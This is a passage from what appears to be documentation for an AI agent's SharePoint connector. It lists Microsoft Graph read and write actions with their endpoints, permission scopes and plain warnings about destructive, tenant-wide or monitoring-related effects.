a drive interface: the file actions take a drive id, the column, content-type and list-item actions take a list id, and nothing could convert one into the other — so an agent that had browsed a library could not ask what columns its documents carry. This is that conversion. GET /api/v1/tools/sharepoint/library/list. Scopes: Sites.Read.All. sharepoint_get_file (read) — Read one library item metadata by id — name, size, type, who last changed it, and whether it is checked out. The pre-authenticated download URL Microsoft includes is removed: it returns the document bytes to anyone holding it with no sign-in, so it is a credential rather than a link. GET /api/v1/tools/sharepoint/library/file. Scopes: Sites.Read.All. sharepoint_get_file_activities_by_interval (read) — Read one document activity as a SERIES over a window, rather than the all-time and last-seven-day totals sharepoint_get_file_analytics gives. It is the half that tells a person whether a document is still in use or was read once in March. ANOTHER WORKFORCE-MONITORING READ. Microsoft caps a daily-interval span at 90 days and rejects more. GET /api/v1/tools/sharepoint/library/file/activities. Scopes: Sites.Read.All. sharepoint_get_file_analytics (read) — Read how many people viewed and edited one document. Like the site-level equivalent this reports what staff have been looking at, and it is granted on its own terms rather than inside a general read tick. GET /api/v1/tools/sharepoint/library/file/analytics. Scopes: Sites.Read.All. sharepoint_get_file_by_path (read) — Resolve a library-relative path to an item and read its details. The path-to-id bridge for the file plane: uploads address documents by path, so without this there was no way to ask whether that path already holds something before an upsert replaced it. GET /api/v1/tools/sharepoint/library/file/by-path. Scopes: Sites.Read.All. sharepoint_get_file_list_item (read) — Read a document LIST-ITEM half — what the library own columns say about it: status, owner, review date, retention category, whatever the customer configured. For a records-managed library that is the part that matters, and no shipped action could read it. It also returns the sharepointIds facet, which carries the listItemUniqueId that the list-item analytics actions need. GET /api/v1/tools/sharepoint/library/file/list-item. Scopes: Sites.Read.All. sharepoint_get_file_permission (read) — Read ONE permission on a document. The singular of sharepoint_list_file_permissions, and the read that closes the loop on the sharing actions: creating a link or inviting someone returns a permission id, and until now nothing could look one up again to see whether it still exists or what it currently grants. Anonymous link URLs are removed from the result. GET /api/v1/tools/sharepoint/library/file/permission. Scopes: Sites.Read.All. sharepoint_get_file_version (read) — Read ONE version of a document by id — its size, when it was made and who made it. The singular of sharepoint_get_file_versions, and what makes sharepoint_restore_file_version checkable BEFORE it runs: restoring names a version id, and the only previous ways to see what that id referred to were to list the whole history and match by eye, or to download the entire document. The literal string current is a valid id and returns the live version. Pre-authenticated download URLs are removed from the result. GET /api/v1/tools/sharepoint/library/file/version. Scopes: Sites.Read.All. sharepoint_get_file_versions (read) — Read one document version history. Uploading is an upsert and is flagged destructive on exactly that basis; document libraries version by DEFAULT so the prior content usually survives, but until now Agentic Fabriq could not show that it did, or that it did not. GET /api/v1/tools/sharepoint/library/file/versions. Scopes: Sites.Read.All. sharepoint_get_library_root (read) — Read the ROOT folder item of a document library, which is the only way to obtain its id. Microsoft Graph refuses the literal string root as a parentReference id, so anything that has to name the library root as a destination — copying a file with no target folder is the obvious one — needs this first. There was no read that produced it. GET /api/v1/tools/sharepoint/library/root. Scopes: Sites.Read.All. sharepoint_get_list (read) — Read one list own definition — its template, its display name, whether it is hidden. Answers what IS this list for an id that arrived from somewhere else (a search hit, a saved workflow, a person), where re-listing an entire site to find one row is not equivalent. GET /api/v1/tools/sharepoint/list. Scopes: Sites.Read.All. sharepoint_get_list_columns (read) — Read one list column definitions, including each column INTERNAL name. This is a prerequisite for writing: list items are addressed by internal name, which is not the display name a user sees — a column shown as Due Date is Due_x0020_Date, and a renamed column keeps its original internal name forever. GET /api/v1/tools/sharepoint/list/columns. Scopes: Sites.Read.All. sharepoint_get_list_item (read) — Read ONE list item by id, with its field values. Closes the read-after-write loop: creating and updating an item returns a body, but until now nothing could re-read that item to confirm the write survived, or follow a search hit that returned a list item id. Re-listing with a filter is not equivalent — filtering a non-indexed column is a hard error, not a slow answer. GET /api/v1/tools/sharepoint/list/item. Scopes: Sites.Read.All. sharepoint_get_list_item_analytics (read) — Read how many people viewed and edited one list item, either as all-time and last-seven-day totals or as a series over a window. THIS IS A WORKFORCE-MONITORING READ WEARING A METRICS LABEL, like the site and file equivalents, and it is a separate action with a separate grant so it is decided on its own terms. It accepts either the ordinary list item id or the listItemUniqueId GUID, because Microsoft documents one placeholder for both. GET /api/v1/tools/sharepoint/list/item/analytics. Scopes: Sites.Read.All. sharepoint_get_list_item_drive_item (read) — Read a list item DRIVE-ITEM half — the file behind the row, with the id and drive id the file actions need. The inverse of sharepoint_get_file_list_item, and the bridge that makes downloading a document reachable from a list-item search. Only meaningful on a document library; on a plain list Microsoft Graph answers 404. GET /api/v1/tools/sharepoint/list/item/drive-item. Scopes: Sites.Read.All. sharepoint_get_list_item_sharepoint_ids (read) — Read the SharePoint-native identifiers of one list item, including listItemUniqueId. Shipped specifically to unblock sharepoint_get_list_item_analytics: Microsoft Graph addresses list-item analytics by an id no other read produced, and a call whose argument no read can supply is not a shipped feature. It is also the id that copying a file into a content type default location requires. GET /api/v1/tools/sharepoint/list/item/sharepoint-ids. Scopes: Sites.Read.All. sharepoint_get_list_item_version (read) — Read the field values one list item held in a past version. The version list says a version exists; this says what it CONTAINED, which is what makes restoring it a decision rather than a gamble. GET /api/v1/tools/sharepoint/list/item/version. Scopes: Sites.Read.All. sharepoint_get_page (read) — Read one site page, including its canvas layout and whether it is published or still a draft. GET /api/v1/tools/sharepoint/page. Scopes: Sites.Read.All. sharepoint_get_page_horizontal_section (read) — Read one horizontal section of a site page, with its layout and emphasis. GET /api/v1/tools/sharepoint/page/section. Scopes: Sites.Read.All. sharepoint_get_page_section_column (read) — Read one column of one horizontal section of a site page. GET /api/v1/tools/sharepoint/page/section/column. Scopes: Sites.Read.All. sharepoint_get_page_vertical_section (read) — Read a site page vertical section — the sidebar rail. There is at most one per page, so this takes no id, and a page without one answers 404, which is a real answer rather than an error. GET /api/v1/tools/sharepoint/page/vertical-section. Scopes: Sites.Read.All. sharepoint_get_page_webpart (read) — Read ONE web part on a site page — a text part with its inline HTML, or a standard part with its type and data. This is the read that makes updating a web part safe: fetch it, change the one thing, send it back, instead of rewriting the whole page canvas and hoping nothing else was in it. GET /api/v1/tools/sharepoint/page/webpart. Scopes: Sites.Read.All. sharepoint_get_page_webpart_position (read) — Read WHERE on the page one web part sits — which section, which column, which index. The inverse of reading web parts by position, and the missing half of it: without this, a caller holding a web part id cannot say where on the page it is, and therefore cannot place a new one beside it. GET /api/v1/tools/sharepoint/page/webpart/position. Scopes: Sites.Read.All. sharepoint_get_page_webparts_by_position (read) — List the web parts at one position on a page — the targeted form of listing them all, for a page large enough that everything on it is not a useful answer. GET /api/v1/tools/sharepoint/page/webparts/by-position. Scopes: Sites.Read.All. sharepoint_get_root_site (read) — Resolve the tenant root site collection. It is the one site whose address needs no prior knowledge at all — every other entry point needs a search term someone invented or a URL someone pasted — which makes it the reliable first call for an agent given nothing but a connection. GET /api/v1/tools/sharepoint/site/root. Scopes: Sites.Read.All. sharepoint_get_site (read) — Turn the site URL a person can see in their browser (https://contoso.sharepoint.com/sites/marketing) into the composite site id Microsoft Graph works in. This is the bridge between what a user knows and what the API needs, and no existing Microsoft connector has an equivalent. GET /api/v1/tools/sharepoint/site. Scopes: Sites.Read.All. sharepoint_get_site_analytics (read) — Read how many people viewed and edited content on one site, either as all-time and last-seven-day totals or as a series over a window. THIS IS A WORKFORCE-MONITORING READ WEARING A METRICS LABEL: it reports what staff have been looking at. It is a separate action with a separate grant precisely so it is decided on its own terms rather than acquired inside a general read tick. GET /api/v1/tools/sharepoint/site/analytics. Scopes: Sites.Read.All. sharepoint_get_site_permission (read) — NEEDS A NEW ADMIN CONSENT GRANT (Sites.FullControl.All — full control of every site in the tenant). Read one application permission on a site. GET /api/v1/tools/sharepoint/site/permission. Scopes: Sites.FullControl.All. sharepoint_get_site_settings (read) — Read one SITE own settings. Not to be confused with the tenant-wide SharePoint settings, which sit behind a separate administrator-only grant; this is per-site and costs nothing extra. BETA: Microsoft publishes no version 1.0 form, and the result says so. GET /api/v1/tools/sharepoint/site/settings. Scopes: Sites.Read.All. sharepoint_get_tenant_settings (read) — NEEDS A NEW ADMIN CONSENT GRANT (SharePointTenantSettings.Read.All). Read the tenant-wide SharePoint and OneDrive settings. THIS IS THE READ THAT ANSWERS A QUESTION THE CONNECTOR OTHERWISE HAS TO GUESS: the sharing capability setting says whether anonymous external links are even possible in this tenant, which every sharing decision here currently has to assume the permissive case about. It also answers whether site creation is enabled and where new sites go. BE CLEAR WHAT IT DISCLOSES: the tenant entire external-sharing posture, its allowed and blocked sharing domains, and its idle-session policy — administrator-grade information, which is why it sits behind its own grant. The matching WRITE permission is deliberately never requested, because one call on it toggles anonymous external sharing for the whole tenant. GET /api/v1/tools/sharepoint/admin/settings. Scopes: SharePointTenantSettings.Read.All. sharepoint_get_term (read) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.Read.All). Read one term, including its localised labels. GET /api/v1/tools/sharepoint/term-store/term. Scopes: TermStore.Read.All. sharepoint_get_term_group (read) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.Read.All). Read one term group. GET /api/v1/tools/sharepoint/term-store/group. Scopes: TermStore.Read.All. sharepoint_get_term_set (read) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.Read.All). Read one term set. GET /api/v1/tools/sharepoint/term-store/set. Scopes: TermStore.Read.All. sharepoint_get_term_store (read) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.Read.All). Read the managed-metadata term store own settings — its identifier and the languages it carries. The root of the taxonomy dependency chain: nothing else in this family is reachable without it. The store is ADDRESSED through a site but is not scoped to one. GET /api/v1/tools/sharepoint/term-store. Scopes: TermStore.Read.All. sharepoint_invite_file_access (write, destructive) — DESTRUCTIVE — grant named people durable access to a document or folder. NO EMAIL IS SENT AND THAT IS NOT A DEFAULT, IT IS THE SHAPE OF THE ACTION: Microsoft option to mail the recipient sends from the signed-in user own mailbox to an address the agent chose, with an agent-authored message, and that outward step is deliberately not exposed. The GRANT is — the recipient is a named principal who must sign in, and sharepoint_delete_file_permission takes it back. Recipients find the document under Shared with me. Whether an address outside the organisation is accepted is a tenant setting this connector cannot read. PASSING retain_inherited_permissions=false ALSO REQUIRES confirm_permission_reset='remove-all-existing-permissions' — it wipes every permission the item already carries and is a separate decision from confirm. POST /api/v1/tools/sharepoint/library/file/invite. Scopes: Sites.ReadWrite.All. sharepoint_is_content_type_published (read) — NEEDS A NEW ADMIN CONSENT GRANT (Sites.FullControl.All) even though it is a read — Microsoft gates it at the same tier as the publish it precedes, which was checked rather than assumed. It is the precondition read that makes publishing and unpublishing usable rather than guesswork. GET /api/v1/tools/sharepoint/content-type/is-published. Scopes: Sites.FullControl.All. sharepoint_list_content_type_base_types (read) — List the whole ancestry of one content type, nearest ancestor first. The parent read answers who is the parent; this answers what is the whole chain, which is what shows a sealed or read-only ancestor several levels up — the thing that will refuse a write for a reason the immediate parent does not reveal. GET /api/v1/tools/sharepoint/content-type/base-types. Scopes: Sites.Read.All. sharepoint_list_content_type_column_links (read) — List the column LINKS on a content type — the association rows, not the definitions. This is where a column inherited from a parent content type is distinguishable from one added locally, and only the second kind can be removed. Without it, an agent can see a content type columns but cannot tell which of them a schema change is even allowed to touch. GET /api/v1/tools/sharepoint/content-type/column-links. Scopes: Sites.Read.All. sharepoint_list_content_type_column_positions (read) — List a content type columns IN THE ORDER they are presented on the form. Column order is the whole content of this read and is not recoverable from the unordered columns list. For a form people fill in every day, order is the difference between a usable content type and a merely correct one. GET /api/v1/tools/sharepoint/content-type/column-positions. Scopes: Sites.Read.All. sharepoint_list_content_type_columns (read) — Read the columns belonging to one content type, each with the INTERNAL name a write must use and whether it is required. The third of the three column views, and the one that answers what a document of a given TYPE has to carry — which is the question that actually blocks a write into a records-managed library. GET /api/v1/tools/sharepoint/content-type/columns. Scopes: Sites.Read.All. sharepoint_list_content_types (read) — List the content types on a site, or the ones associated with one list. A content type is the template a list item or a document conforms to, and records-managed libraries are almost entirely content-type driven — so an agent writing into one without this is guessing at a schema that is enforced. GET /api/v1/tools/sharepoint/content-types. Scopes: Sites.Read.All. sharepoint_list_document_libraries (read) — List one site document libraries, each with the drive id that file actions require. Overlaps microsoft_onedrive_list_sharepoint_site_drives deliberately: a drive id is not guessable and a SharePoint connection cannot borrow OneDrive copy of this call. GET /api/v1/tools/sharepoint/libraries. Scopes: Sites.Read.All. sharepoint_list_document_set_versions (read) — Read the document-set version history of one library item. A document set versions a whole folder of documents together, which is how records-management libraries capture the state of a matter on the day it was filed. An empty result means the item is not a document set, which is the usual case outside records management. GET /api/v1/tools/sharepoint/list/item/document-set-versions. Scopes: Sites.Read.All. sharepoint_list_file_delta (read) — Read what changed in one document library since a previous point, including DELETIONS. The file-plane twin of the list delta, and it carries the same argument: a re-listing cannot see what was removed. GET /api/v1/tools/sharepoint/library/delta. Scopes: Sites.Read.All. sharepoint_list_file_permissions (read) — Read WHO can reach one document and at what role, including whether an anonymous sharing link exists on it. A READ ONLY — creating a sharing link, inviting someone and removing access are all deliberately absent, and Microsoft Graph would accept every one of them with the permissions this connector already holds; the exclusion is a judgement, recorded in docs/coverage/sharepoint.md. This ships because it is the diagnostic that makes the exclusion workable: is this document shared outside the company becomes answerable. Anonymous link URLs are removed from the result, because such a URL returns the document to anyone holding it with no sign-in. GET /api/v1/tools/sharepoint/library/file/permissions. Scopes: Sites.Read.All. sharepoint_list_file_thumbnails (read) — List the thumbnail sets SharePoint has rendered for one item. Identification and diagnostic value rather than display value: a thumbnail existing says SharePoint has processed the document, and its absence on a file that should have one is a real signal. The thumbnail URLs are themselves pre-authenticated and are removed. GET /api/v1/tools/sharepoint/library/file/thumbnails. Scopes: Sites.Read.All. sharepoint_list_folder_children (read) — List the files and folders inside one document library folder, each with the item id needed to read or delete it. This closes a real dead end: microsoft_onedrive_read_sharepoint_file needs an item id that, until this action existed, nothing in Agentic Fabriq could produce. Folder and file names are customer content. GET /api/v1/tools/sharepoint/library/children. Scopes: Sites.Read.All. sharepoint_list_followed_sites (read) — List the sites the SIGNED-IN USER follows. The one entry point that needs no prior knowledge and is specific to the person asking — searching the tenant returns everything and the root site is the same for everybody, while this answers the sites I actually work in, which is very often what a person means by my SharePoint. BETA. GET /api/v1/tools/sharepoint/site/followed. Scopes: Sites.Read.All. sharepoint_list_item_delta (read) — Read what changed in one SharePoint list since a previous point, including DELETIONS. This is the core agent-over-a-tracker workflow and the reason SharePoint lists are worth reaching at all: a full re-listing cannot express since I last looked, and — the part that matters — a re-listing cannot see a row that vanished. GET /api/v1/tools/sharepoint/list/items/delta. Scopes: Sites.Read.All. sharepoint_list_item_versions (read) — Read one list item version history — who changed it and when. The direct mitigation for this connector own stated risk: updating a list item is flagged destructive because on most lists the previous value is simply gone, and where versioning IS enabled Microsoft Graph has the history. An empty history is itself the answer: it means versioning is off and the destructive flag is being literal. GET /api/v1/tools/sharepoint/list/item/versions. Scopes: Sites.Read.All. sharepoint_list_list_item_permissions (read) — Read who can reach ONE list item and at what role. Item-level permissions are how SharePoint models a register whose rows are not all visible to everyone — an HR case list, an approvals queue — so this is a fact about a list item rather than a duplicate of the file read. Anonymous link URLs are removed. GET /api/v1/tools/sharepoint/list/item/permissions. Scopes: Sites.Read.All. sharepoint_list_list_items (read) — Read items (rows) from one SharePoint list with their field values, optionally narrowed by an OData filter. The values returned are customer record data, so granting this exposes the contents of whichever lists the signed-in user can already read. GET /api/v1/tools/sharepoint/list/items. Scopes: Sites.Read.All. sharepoint_list_list_operations (read) — List the long-running operations SharePoint is running on one list, with their status. Diagnostic read. GET /api/v1/tools/sharepoint/list/operations. Scopes: Sites.Read.All. sharepoint_list_list_permissions (read) — Read which APPLICATIONS have been granted access to one list, and at what role — the Sites.Selected model ledger for a single register. Worth knowing that this needs only Sites.Read.All, unlike the site-level equivalent, which Microsoft gates at full control of the whole tenant. It discloses no document content. GET /api/v1/tools/sharepoint/list/permissions. Scopes: Sites.Read.All. sharepoint_list_lists (read) — List the SharePoint lists and document libraries on one site, each with its id and template type. SharePoint lists are where non-document content lives — registers, trackers, issue logs, approvals, asset inventories — and no existing Microsoft connector can see them at all. GET /api/v1/tools/sharepoint/lists. Scopes: Sites.Read.All. sharepoint_list_page_column_webparts (read) — List the web parts inside one column of one section of a page. A text web part carries its content inline, so this is how the words in one part of a page are read without fetching the entire canvas. GET /api/v1/tools/sharepoint/page/section/column/webparts. Scopes: Sites.Read.All. sharepoint_list_page_horizontal_sections (read) — List a site page horizontal sections — the rows of its layout, top to bottom, each with its column arrangement and background emphasis. The entry point for editing a page surgically instead of replacing its whole canvas. GET /api/v1/tools/sharepoint/page/sections. Scopes: Sites.Read.All. sharepoint_list_page_section_columns (read) — List the columns inside one horizontal section of a page. A section is divided into twelve grid units and each column records how many it spans, which is what makes a layout change predictable rather than a surprise. GET /api/v1/tools/sharepoint/page/section/columns. Scopes: Sites.Read.All. sharepoint_list_page_templates (read) — List the PAGE TEMPLATES available on one site. Creating a page makes a blank article; real intranets standardise on templates, and an agent that cannot see them will produce a page that looks nothing like every other page on the site. BETA. GET /api/v1/tools/sharepoint/site/page-templates. Scopes: Sites.Read.All. sharepoint_list_page_vertical_section_webparts (read) — List the web parts in a site page vertical section. GET /api/v1/tools/sharepoint/page/vertical-section/webparts. Scopes: Sites.Read.All. sharepoint_list_page_webparts (read) — List the web parts on one site page. Text web parts carry their content inline, so this is how a page words are actually read. GET /api/v1/tools/sharepoint/page/webparts. Scopes: Sites.Read.All. sharepoint_list_pages (read) — List the site pages on one site, including news posts. Modern SharePoint intranets are pages and news, not only lists and libraries — search could already RETURN a page as a hit and nothing could read one. There is no separate News API: a news post is a page whose promotion kind says so. GET /api/v1/tools/sharepoint/pages. Scopes: Sites.Read.All. sharepoint_list_recycle_bin (read) — List what is in one site first-stage recycle bin — name, size, when it was deleted and where it was deleted from. THE HONESTY FIX FOR EVERY DESTRUCTIVE ACTION HERE: deleting a list item, a file or a page all say Agentic Fabriq cannot undo this, which is true because Microsoft Graph exposes no restore, and until now they could not even show where the deleted thing went. This turns it is gone and I cannot help you into it is in the recycle bin, here is its name, ask a site administrator. Uses Microsoft BETA endpoint, because Graph publishes no v1.0 form of it; it is the only beta call in this connector. GET /api/v1/tools/sharepoint/recycle-bin. Scopes: Sites.Read.All. sharepoint_list_site_columns (read) — Read the SITE-level column definitions — the reusable field definitions a content type is assembled from. Distinct from the list-level columns read: this is what answers what fields this site information architecture actually has, before anything is written. GET /api/v1/tools/sharepoint/site/columns. Scopes: Sites.Read.All. sharepoint_list_site_external_columns (read) — List the columns a site INHERITS from its parent hierarchy, as opposed to the ones defined on it. This is where a hub site standard metadata lives, so without it a caller looking at a spoke site sees a column set missing everything the hub contributed. BETA. GET /api/v1/tools/sharepoint/site/external-columns. Scopes: Sites.Read.All. sharepoint_list_site_operations (read) — List the long-running operations SharePoint is running on one site, with their status. A diagnostic read: SharePoint performs several operations asynchronously and answers immediately, so without this an agent that started one has no way to learn whether it finished, and neither does the person who asked. GET /api/v1/tools/sharepoint/site/operations. Scopes: Sites.Read.All. sharepoint_list_site_permissions (read) — NEEDS A NEW ADMIN CONSENT GRANT, AND IT IS THE LARGEST ONE AVAILABLE HERE (Sites.FullControl.All — full control of EVERY site in the tenant). Microsoft offers no lower tier for this endpoint. It reads which third-party applications have been granted access to a site and whether they can write, which is a genuinely useful security-posture answer — but the permission needed to ask the question is larger than the answer, and an operator who does not enable this grant simply does not get this action and loses nothing else. Microsoft does not support listing a subsite permissions. GET /api/v1/tools/sharepoint/site/permissions. Scopes: Sites.FullControl.All. sharepoint_list_sites (read) — Search the SharePoint sites this account can reach and return each one with the composite site id (host,siteGuid,webGuid) that every other SharePoint action requires. This is the starting point: no other action accepts a site name, and a site id must never be guessed. Overlaps microsoft_onedrive_list_sharepoint_sites deliberately, because a SharePoint connection cannot call a OneDrive connection. GET /api/v1/tools/sharepoint/sites. Scopes: Sites.Read.All. sharepoint_list_subsites (read) — List the subsites directly beneath one site. Site search does not reliably surface subsites, and a migrated on-premises estate is very often a subsite tree rather than a flat set of site collections — so without this, whole branches of a customer SharePoint are unaddressable, because a site id cannot be guessed. GET /api/v1/tools/sharepoint/site/subsites. Scopes: Sites.Read.All. sharepoint_list_term_children (read) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.Read.All). List the child terms of one term. The descent step — without it the taxonomy is only ever one level deep, which for a real corporate vocabulary such as Region then Country then City is most of it missing. GET /api/v1/tools/sharepoint/term-store/term/children. Scopes: TermStore.Read.All. sharepoint_list_term_groups (read) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.Read.All). List the groups in the term store — the top level of the taxonomy, such as Departments, Locations or Products. Each group scope says whether it is global to the tenant, system-managed, or limited to one site collection, which is the only thing that tells a caller how far a change inside it will reach. GET /api/v1/tools/sharepoint/term-store/groups. Scopes: TermStore.Read.All. sharepoint_list_term_relations (read) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.Read.All). List which terms are pinned or reused into a set or a term. This explains why a term appears in a vocabulary it was not created in: a pin means the hierarchy is mirrored from elsewhere and can only be edited at its origin, a reuse means it can be edited from either place. Editing a pinned term from the wrong end fails for a reason nothing else would show. GET /api/v1/tools/sharepoint/term-store/relations. Scopes: TermStore.Read.All. sharepoint_list_term_sets (read) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.Read.All). List the term sets inside one group. A term set is the vocabulary a single managed-metadata column draws from, so this is what turns which taxonomy is this column using into an answerable question. GET /api/v1/tools/sharepoint/term-store/sets. Scopes: TermStore.Read.All. sharepoint_list_terms (read) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.Read.All). List the TOP-LEVEL terms in a term set. Terms are a tree and this returns the first level; use the children read to descend. Microsoft publishes no operation that flattens the tree. GET /api/v1/tools/sharepoint/term-store/terms. Scopes: TermStore.Read.All. sharepoint_move_file (write, destructive) — DESTRUCTIVE — move and/or rename a document or folder within one library. The harm is not data loss: a move relocates a document OTHER PEOPLE hold links to, and every existing link, embed and recent-files entry pointing at the old path stops resolving with nobody but the agent knowing why. Moving a folder moves everything beneath it. Reversible by moving it back. Microsoft cannot move an item between libraries at all — copy, then delete, in that order. PATCH /api/v1/tools/sharepoint/library/file. Scopes: Sites.ReadWrite.All. sharepoint_permanently_delete_file (write, destructive) — DESTRUCTIVE, AND THE ONLY ACTION HERE WITH NO INVERSE ANYWHERE IN MICROSOFT GRAPH. This is a DIFFERENT operation from the ordinary delete and it is a separate row on purpose: the ordinary delete goes to the site recycle bin, where an administrator can restore it for 93 days; this one bypasses the recycle bin entirely and the document cannot be restored by an administrator, by the second-stage recycle bin, or by Microsoft support. It requires an explicit confirm flag, because an agent assembling arguments from a sentence can otherwise confuse the two actions, which differ only in their name. POST /api/v1/tools/sharepoint/library/file/permanent-delete. Scopes: Sites.ReadWrite.All. sharepoint_publish_content_type (write, destructive) — DESTRUCTIVE BY REACH RATHER THAN BY LOSS, AND NEEDS A NEW ADMIN CONSENT GRANT (Sites.FullControl.All). Publishing makes a hub content type available for EVERY SITE IN THE TENANT to pull down, and pushes it to sites that have already subscribed. Nothing is deleted; what changes is how many places the schema now exists in, and that number is not knowable in advance. The site must be the content type hub — publishing from an ordinary site is refused. Its inverse ships in this same migration. POST /api/v1/tools/sharepoint/content-type/publish. Scopes: Sites.FullControl.All. sharepoint_publish_page (write, destructive) — DESTRUCTIVE by intent rather than by data loss — publish a page draft to everyone who can see the site, which for an intranet home site is the whole organisation. MICROSOFT GRAPH PUBLISHES NO UNPUBLISH OPERATION, in v1.0 or in beta, so the only way back is to delete the page. Where a page-approval flow is configured, publishing is queued for approval instead and the response does not distinguish the two — read the page back to see which happened. POST /api/v1/tools/sharepoint/page/publish. Scopes: Sites.ReadWrite.All. sharepoint_restore_document_set_version (write, destructive) — DESTRUCTIVE, AND WIDER THAN ANY OTHER RESTORE HERE — it rolls back EVERY document in the set, not one file. Like the other restores it destroys nothing, because the content it replaces stays in each document own history, but the blast radius is a folder rather than a file. Read the version list first to see what is being restored to. POST /api/v1/tools/sharepoint/list/item/document-set-versions/restore. Scopes: Sites.ReadWrite.All. sharepoint_restore_file_version (write, destructive) — DESTRUCTIVE, AND IT DESTROYS NOTHING — the undo for uploading over an existing document. Restoring ADDS a new current version and the content it replaced stays in history, so no content can be lost by calling this and calling it by mistake is undone by calling it again. Shipping the upload upsert without this was the asymmetry worth fixing. POST /api/v1/tools/sharepoint/library/file/restore-version. Scopes: Sites.ReadWrite.All. sharepoint_restore_list_item_version (write, destructive) — DESTRUCTIVE, AND IT DESTROYS NOTHING — the undo for updating a list item. Restoring a version puts the old field values back by ADDING a new current version, so the values being replaced remain in history and calling this by mistake is undone by calling it again. It is a net risk reduction: it converts the update action from a one-way door into a reversible one wherever the list has versioning enabled. POST /api/v1/tools/sharepoint/list/item/restore-version. Scopes: Sites.ReadWrite.All. sharepoint_search (read) — Search across sites, lists, list items and library files with Microsoft Graph search. Results carry document titles and content extracts, so this reaches the substance of documents rather than only their names. Scoped to SharePoint entity types only — mail, calendar and Teams content are deliberately excluded. POST /api/v1/tools/sharepoint/search. Scopes: Sites.Read.All. sharepoint_search_library (read) — Search inside ONE document library, or one folder of it, matching across filename, metadata AND file content. Different from sharepoint_search, which is tenant-wide and returns hits from every site the signed-in user can reach; this is what someone means by find the Acme contract in the Legal library. GET /api/v1/tools/sharepoint/library/search. Scopes: Sites.Read.All. sharepoint_unarchive_site (write) — Reactivate an archived site. THE INVERSE OF ARCHIVING, and it restores write access. SharePoint reactivates asynchronously, so success means accepted rather than already writable; the site operations read shows progress. BETA. POST /api/v1/tools/sharepoint/site/unarchive. Scopes: Sites.ReadWrite.All. sharepoint_unfollow_site (write) — Stop following a site. The inverse of following one, and it removes a navigation entry rather than any access. BETA. POST /api/v1/tools/sharepoint/site/unfollow. Scopes: Sites.ReadWrite.All. sharepoint_unpublish_content_type (write, destructive) — DESTRUCTIVE, AND NEEDS A NEW ADMIN CONSENT GRANT (Sites.FullControl.All). The inverse of publishing, but NOT A CLEAN UNDO: sites that already pulled the content type down KEEP their copies. Unpublishing stops distribution; it does not retract what was distributed. POST /api/v1/tools/sharepoint/content-type/unpublish. Scopes: Sites.FullControl.All. sharepoint_update_column (write, destructive) — DESTRUCTIVE, AND NEEDS A NEW ADMIN CONSENT GRANT (Sites.Manage.All). A column definition is the contract every existing item in the list already conforms to. Narrowing a text column length, or removing a value from a choice column list, leaves rows holding data the schema now calls invalid, and SharePoint does not migrate them. Making a column required retroactively makes every existing row that lacks the value fail its next save. At content-type scope Microsoft allows only required and hidden to change. PATCH /api/v1/tools/sharepoint/column. Scopes: Sites.Manage.All. sharepoint_update_content_type (write, destructive) — DESTRUCTIVE, AND NEEDS A NEW ADMIN CONSENT GRANT (Sites.Manage.All). One property in particular is why: propagating changes pushes this edit down into every inherited content type and every list that implements it, all at once, across the site — the difference between editing one object and editing an unknown number of them. Sealing a content type makes it unmodifiable by anyone and only a site collection administrator can unseal it, so that flag is effectively one-way from here. PATCH /api/v1/tools/sharepoint/content-type. Scopes: Sites.Manage.All. sharepoint_update_file_metadata (write) — Update a document DESCRIPTION and its filesystem timestamps. Deliberately narrower than the Microsoft Graph call behind it: renaming and moving are refused here and belong to sharepoint_move_file, which resolves the library root id Graph requires and carries the warning that relocating a document breaks every link, embed and recent-files entry other people hold. Backdating the created or last-modified timestamp REWRITES RECORDED HISTORY and SharePoint then reports it as fact everywhere, including in retention and audit views. PATCH /api/v1/tools/sharepoint/library/file/metadata. Scopes: Sites.ReadWrite.All. sharepoint_update_file_permission (write, destructive) — DESTRUCTIVE IN BOTH DIRECTIONS — change the role on one existing permission. Widening read to write hands out edit access; narrowing write to read can stop somebody mid-task without warning them. Only the role is changeable, so an expiry cannot be adjusted after the fact — remove the permission and make a new one. Microsoft also refuses this call on organisational and people sharing links. PATCH /api/v1/tools/sharepoint/library/file/permission. Scopes: Sites.ReadWrite.All. sharepoint_update_list_item (write, destructive) — DESTRUCTIVE — overwrite field values on one existing list item. SharePoint keeps item version history only when the list has versioning enabled, which is not the default for a generic list, so on most lists the previous value is gone and Agentic Fabriq cannot restore it. The wrong item id overwrites the wrong record. PATCH /api/v1/tools/sharepoint/list/items. Scopes: Sites.ReadWrite.All. sharepoint_update_page (write, destructive) — DESTRUCTIVE — change a site page title or content. The canvas layout IS A FULL REPLACE, not a merge: sending a layout containing one section deletes every other section on the page, and Microsoft does not warn. Read the current layout first and send it back modified. Changes land in the page draft and are not visible to readers until it is published. PATCH /api/v1/tools/sharepoint/page. Scopes: Sites.ReadWrite.All. sharepoint_update_page_horizontal_section (write, destructive) — DESTRUCTIVE, and for a specific reason rather than a ceremonial one: NARROWING A SECTION LAYOUT DROPS THE COLUMNS THAT NO LONGER FIT, AND EVERY WEB PART IN THEM GOES WITH THE COLUMN. Changing a three-column section to one column is a content deletion wearing a formatting label. Read the section columns first. PATCH /api/v1/tools/sharepoint/page/section. Scopes: Sites.ReadWrite.All. sharepoint_update_page_vertical_section (write, destructive) — DESTRUCTIVE only in the weakest sense — it changes how a published page looks to everyone who can see the site, and nothing is lost. Flagged for consistency with the other page-canvas writes: an agent that has to think about one of them should think about all of them. PATCH /api/v1/tools/sharepoint/page/vertical-section. Scopes: Sites.ReadWrite.All. sharepoint_update_page_webpart (write, destructive) — DESTRUCTIVE — the body REPLACES the web part content rather than merging into it, so a partial data object loses whatever was not sent. Read the web part first and send it back modified. It is the same hazard the whole-page update has, one level down and with a far smaller blast radius, which is the point of shipping it. PATCH /api/v1/tools/sharepoint/page/webpart. Scopes: Sites.ReadWrite.All. sharepoint_update_term (write, destructive) — DESTRUCTIVE AND TENANT-WIDE, AND NEEDS A NEW ADMIN CONSENT GRANT (TermStore.ReadWrite.All). THIS IS THE ONE WHOSE REACH IS LEAST OBVIOUS: renaming a term re-labels the managed-metadata value on every item across every site that used it, because items store the term identifier and render its current label. A 